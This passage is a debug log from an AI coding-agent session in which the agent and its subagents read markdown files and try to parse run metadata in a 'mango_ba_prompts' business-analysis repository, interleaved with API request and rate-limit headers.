\"0.5\",\n[2026-09-29T07:44:50.842Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": 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state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:50.956Z] [STDOUT] [log_2c4e18] response parsed {\n[2026-09-29T07:44:50.964Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:50.968Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:50.974Z] [STDOUT]   body: X {\n[2026-09-29T07:44:50.978Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:50.987Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:50.990Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:50.999Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:51.004Z] [STDOUT]     },\n[2026-09-29T07:44:51.011Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:51.019Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:51.029Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:51.037Z] [STDOUT]   },\n[2026-09-29T07:44:51.052Z] [STDOUT]   durationMs: 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{\n[2026-09-29T07:44:51.543Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"id\": \"msg_011CfXMiBU1CJrw5i85tgapP\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:51.543Z] [INFO]     \"content\": [\n[2026-09-29T07:44:51.543Z] [INFO]       {\n[2026-09-29T07:44:51.543Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:44:51.543Z] [INFO]         \"text\": \"Still reading the meta-model sources (invariants, metrics, and the 67-run forensics). Both research agents are still running.\"\n[2026-09-29T07:44:51.543Z] [INFO]       }\n[2026-09-29T07:44:51.543Z] [INFO]     ],\n[2026-09-29T07:44:51.543Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:51.543Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:51.543Z] [INFO]       \"cache_creation_input_tokens\": 8522,\n[2026-09-29T07:44:51.543Z] [INFO]       \"cache_read_input_tokens\": 78078,\n[2026-09-29T07:44:51.543Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:51.543Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:44:51.543Z] [INFO]         \"ephemeral_1h_input_tokens\": 8522\n[2026-09-29T07:44:51.543Z] [INFO]       },\n[2026-09-29T07:44:51.543Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:44:51.543Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:51.543Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:51.543Z] [INFO]     },\n[2026-09-29T07:44:51.543Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:51.543Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:51.543Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:51.543Z] [INFO]   },\n[2026-09-29T07:44:51.543Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:51.543Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:51.543Z] [INFO]   \"uuid\": \"1084a74a-4d2e-45f4-9499-cea2b0f48e6e\",\n[2026-09-29T07:44:51.543Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:51.532Z\",\n[2026-09-29T07:44:51.543Z] [INFO]   \"request_id\": \"req_011CfXMiB2hj5Uhmzf434m5u\"\n[2026-09-29T07:44:51.543Z] [INFO] }\n[2026-09-29T07:44:51.618Z] [INFO] {\n[2026-09-29T07:44:51.618Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:51.618Z] [INFO]   \"message\": {\n[2026-09-29T07:44:51.618Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"id\": \"msg_011CfXMi4bzvHqPzhmJoPuKX\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:51.618Z] [INFO]     \"content\": [\n[2026-09-29T07:44:51.618Z] [INFO]       {\n[2026-09-29T07:44:51.618Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:51.618Z] [INFO]         \"id\": \"toolu_01LV8hyFEV9Tjq9NVvhHVX5A\",\n[2026-09-29T07:44:51.618Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:51.618Z] [INFO]         \"input\": {\n[2026-09-29T07:44:51.618Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,collections\\nrows=[]\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    rows.append(d)\\n    print(d.get('run_id'),d.get('date'),d.get('run_type'),d.get('status'),'|',d.get('model'),'|',str(d.get('author'))[:40],'|',list(d.keys()))\\nc=collections.Counter\\nprint(c(str(r.get('run_type')) for r in rows))\\nprint(c(str(r.get('status')) for r in rows))\\nprint(c(str(r.get('model')) for r in rows))\\nprint(min(str(r['date']) for r in rows), max(str(r['date']) for r in rows))\\nEOF\",\n[2026-09-29T07:44:51.618Z] [INFO]           \"description\": \"Parse all run metadata\"\n[2026-09-29T07:44:51.618Z] [INFO]         },\n[2026-09-29T07:44:51.618Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:51.618Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:51.618Z] [INFO]         }\n[2026-09-29T07:44:51.618Z] [INFO]       }\n[2026-09-29T07:44:51.618Z] [INFO]     ],\n[2026-09-29T07:44:51.618Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:51.618Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:51.618Z] [INFO]       \"cache_creation_input_tokens\": 705,\n[2026-09-29T07:44:51.618Z] [INFO]       \"cache_read_input_tokens\": 42139,\n[2026-09-29T07:44:51.618Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:51.618Z] [INFO]         \"ephemeral_5m_input_tokens\": 705,\n[2026-09-29T07:44:51.618Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:51.618Z] [INFO]       },\n[2026-09-29T07:44:51.618Z] [INFO]       \"output_tokens\": 37,\n[2026-09-29T07:44:51.618Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:51.618Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:51.618Z] [INFO]     },\n[2026-09-29T07:44:51.618Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:51.618Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:51.618Z] [INFO]     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[INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"description\": \"Running Parse all run metadata\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"usage\": {\n[2026-09-29T07:44:51.637Z] [INFO]     \"total_tokens\": 43202,\n[2026-09-29T07:44:51.637Z] [INFO]     \"tool_uses\": 9,\n[2026-09-29T07:44:51.637Z] [INFO]     \"duration_ms\": 29320\n[2026-09-29T07:44:51.637Z] [INFO]   },\n[2026-09-29T07:44:51.637Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"uuid\": \"0fe1a820-cd52-4002-8b30-370df76255dd\",\n[2026-09-29T07:44:51.637Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:51.637Z] [INFO] }\n[2026-09-29T07:44:51.919Z] [INFO] {\n[2026-09-29T07:44:51.919Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"message\": {\n[2026-09-29T07:44:51.919Z] [INFO]     \"role\": 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}\n[2026-09-29T07:44:51.919Z] [INFO]     ]\n[2026-09-29T07:44:51.919Z] [INFO]   },\n[2026-09-29T07:44:51.919Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"uuid\": \"d9aeb852-b67c-4b1b-ad30-a38e62f6c18b\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:51.915Z\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:51.919Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:44:51.919Z] [INFO] }\n[2026-09-29T07:44:51.949Z] [STDOUT] [log_0f1f71] sending request {\n[2026-09-29T07:44:51.953Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:51.956Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:51.960Z] [STDOUT]   options: {\n[2026-09-29T07:44:51.963Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:51.966Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:51.969Z] [STDOUT]     body: {\n[2026-09-29T07:44:51.972Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:51.976Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:51.980Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:51.982Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:51.984Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:51.985Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:51.988Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:51.990Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:51.993Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:51.997Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:51.999Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:52.005Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:52.023Z] [STDOUT]     },\n[2026-09-29T07:44:52.025Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:52.029Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:52.034Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:52.040Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:52.043Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:52.045Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:52.048Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:52.051Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:52.056Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:52.061Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:52.065Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:52.069Z] [STDOUT]     },\n[2026-09-29T07:44:52.072Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:52.075Z] [STDOUT]   },\n[2026-09-29T07:44:52.079Z] [STDOUT]   headers: {\n[2026-09-29T07:44:52.083Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:52.088Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:52.094Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:52.098Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:52.101Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:52.103Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:52.105Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:52.109Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:52.113Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:52.116Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:52.118Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:52.123Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1400\",\n[2026-09-29T07:44:52.127Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:52.130Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:52.134Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:52.138Z] [STDOUT]     \"x-client-request-id\": \"2b47db6f-67fa-40d8-989c-dd0b54127c6f\",\n[2026-09-29T07:44:52.144Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:52.149Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:52.153Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:52.158Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:52.161Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:52.164Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:52.168Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:52.172Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:52.174Z] [STDOUT]   },\n[2026-09-29T07:44:52.177Z] [STDOUT] }\n[2026-09-29T07:44:52.801Z] [STDOUT] [log_0f1f71, request-id: \"req_011CfXMiLYCWjkBmkyFQZ4VP\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 850ms\n[2026-09-29T07:44:52.811Z] [STDOUT] [log_0f1f71] response start {\n[2026-09-29T07:44:52.814Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:52.818Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:52.823Z] [STDOUT]   headers: {\n[2026-09-29T07:44:52.830Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:52.835Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:52.842Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:52.845Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:52.847Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:52.852Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:52.857Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:52.861Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:52.864Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:52.870Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:52.873Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:52.876Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:52.879Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:52.886Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:52.889Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:52.895Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:52.899Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:52.901Z] [STDOUT]     \"cf-ray\": \"a4295d74bad74d8b-FRA\",\n[2026-09-29T07:44:52.904Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:52.909Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:52.915Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:52.921Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:52.924Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:52 GMT\",\n[2026-09-29T07:44:52.932Z] [STDOUT]     \"request-id\": \"req_011CfXMiLYCWjkBmkyFQZ4VP\",\n[2026-09-29T07:44:52.937Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:52.945Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:52.950Z] [STDOUT]     traceresponse: \"00-5f5b27b743c2bf4f3a149c6dfa12503b-cc98dbbf9bdedb7a-01\",\n[2026-09-29T07:44:52.956Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:52.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:52.966Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:52.969Z] [STDOUT]   },\n[2026-09-29T07:44:52.973Z] [STDOUT]   durationMs: 850,\n[2026-09-29T07:44:52.976Z] [STDOUT] }\n[2026-09-29T07:44:52.987Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:52.992Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:52 GMT\",\n[2026-09-29T07:44:52.996Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:53.003Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:53.010Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:53.017Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:53.030Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:53.052Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:53.058Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:53.062Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:53.064Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:53.069Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:53.071Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:53.076Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:53.078Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:44:53.087Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:53.089Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:53.092Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:53.104Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:53.108Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:53.114Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:53.119Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:53.121Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:53.123Z] [STDOUT]   \"request-id\": \"req_011CfXMiLYCWjkBmkyFQZ4VP\",\n[2026-09-29T07:44:53.125Z] [STDOUT]   \"traceresponse\": \"00-5f5b27b743c2bf4f3a149c6dfa12503b-cc98dbbf9bdedb7a-01\",\n[2026-09-29T07:44:53.127Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:53.129Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:53.131Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:53.133Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:53.137Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:53.140Z] [STDOUT]   \"cf-ray\": \"a4295d74bad74d8b-FRA\",\n[2026-09-29T07:44:53.142Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:53.144Z] [STDOUT] [log_0f1f71] response parsed {\n[2026-09-29T07:44:53.146Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:53.148Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:53.150Z] [STDOUT]   body: X {\n[2026-09-29T07:44:53.153Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:53.157Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:53.162Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:53.165Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:53.168Z] [STDOUT]     },\n[2026-09-29T07:44:53.170Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:53.172Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:53.175Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:53.177Z] [STDOUT]   },\n[2026-09-29T07:44:53.179Z] [STDOUT]   durationMs: 851,\n[2026-09-29T07:44:53.183Z] [STDOUT] }\n[2026-09-29T07:44:53.188Z] [INFO] {\n[2026-09-29T07:44:53.188Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"message\": {\n[2026-09-29T07:44:53.188Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:53.188Z] [INFO]     \"content\": [\n[2026-09-29T07:44:53.188Z] [INFO]       {\n[2026-09-29T07:44:53.188Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:53.188Z] [INFO]         \"content\": \"Exit code 1\\nTraceback (most recent call last):\\n  File \\\"\\\", line 1, in \\nModuleNotFoundError: No module named 'yaml'\",\n[2026-09-29T07:44:53.188Z] [INFO]         \"is_error\": true,\n[2026-09-29T07:44:53.188Z] [INFO]         \"tool_use_id\": \"toolu_01LV8hyFEV9Tjq9NVvhHVX5A\"\n[2026-09-29T07:44:53.188Z] [INFO]       }\n[2026-09-29T07:44:53.188Z] [INFO]     ]\n[2026-09-29T07:44:53.188Z] [INFO]   },\n[2026-09-29T07:44:53.188Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"uuid\": \"10cfdee9-c7ad-4590-9d1d-3e29591fc58f\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:53.051Z\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"tool_use_result\": \"Error: Exit code 1\\nTraceback (most recent call last):\\n  File \\\"\\\", line 1, in \\nModuleNotFoundError: No module named 'yaml'\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:53.188Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:53.188Z] [INFO] }\n[2026-09-29T07:44:53.195Z] [INFO] \u26a0\ufe0f Tool result error detected: Exit code 1\n[2026-09-29T07:44:53.195Z] [INFO] Traceback (most recent call last):\n[2026-09-29T07:44:53.195Z] [INFO]   File \"\", line 1, in \n[2026-09-29T07:44:53.195Z] [INFO] ModuleNotFoundError: No module named 'yaml'\n[2026-09-29T07:44:53.200Z] [INFO] {\n[2026-09-29T07:44:53.200Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"message\": {\n[2026-09-29T07:44:53.200Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"id\": \"msg_011CfXMiBU1CJrw5i85tgapP\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:53.200Z] [INFO]     \"content\": [\n[2026-09-29T07:44:53.200Z] [INFO]       {\n[2026-09-29T07:44:53.200Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:53.200Z] [INFO]         \"id\": \"toolu_01VSQL7sC7yEissLiRApEL6x\",\n[2026-09-29T07:44:53.200Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:44:53.200Z] [INFO]         \"input\": {\n[2026-09-29T07:44:53.200Z] [INFO]           \"command\": \"sed -n 140,175p 10-theory.md; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" 40-practice-and-cases.md | head -30; grep -n \\\"^#\\\" 40-practice-and-cases.md 30-decision-framework.md\",\n[2026-09-29T07:44:53.200Z] [INFO]           \"description\": \"Read invariants and metrics\"\n[2026-09-29T07:44:53.200Z] [INFO]         },\n[2026-09-29T07:44:53.200Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:53.200Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:53.200Z] [INFO]         }\n[2026-09-29T07:44:53.200Z] [INFO]       }\n[2026-09-29T07:44:53.200Z] [INFO]     ],\n[2026-09-29T07:44:53.200Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:53.200Z] [INFO]     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},\n[2026-09-29T07:44:53.200Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:53.200Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"uuid\": \"65f32785-882d-420a-9670-cce30026e9ee\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:53.097Z\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"request_id\": \"req_011CfXMiB2hj5Uhmzf434m5u\",\n[2026-09-29T07:44:53.200Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:44:53.200Z] [INFO]     \"toolu_01VSQL7sC7yEissLiRApEL6x\": {\n[2026-09-29T07:44:53.200Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model && sed -n 140,175p 10-theory.md; grep -n 